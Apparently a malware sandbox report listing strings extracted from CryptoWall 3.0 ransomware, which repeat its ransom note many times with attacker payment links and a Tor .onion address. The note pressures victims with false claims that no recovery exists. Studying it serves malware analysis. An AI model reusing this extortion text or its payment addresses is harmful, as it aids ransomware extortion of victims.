Source: restore_files_gpmus.html89.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html385.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt381.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html405.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt9.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html154.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html127.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html394.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html239.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt405.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt391.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt5.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt123.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt81.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html408.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt305.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt210.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html391.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt159.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt148.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt283.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt27.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt335.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html109.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html17.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt76.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt132.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html64.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures 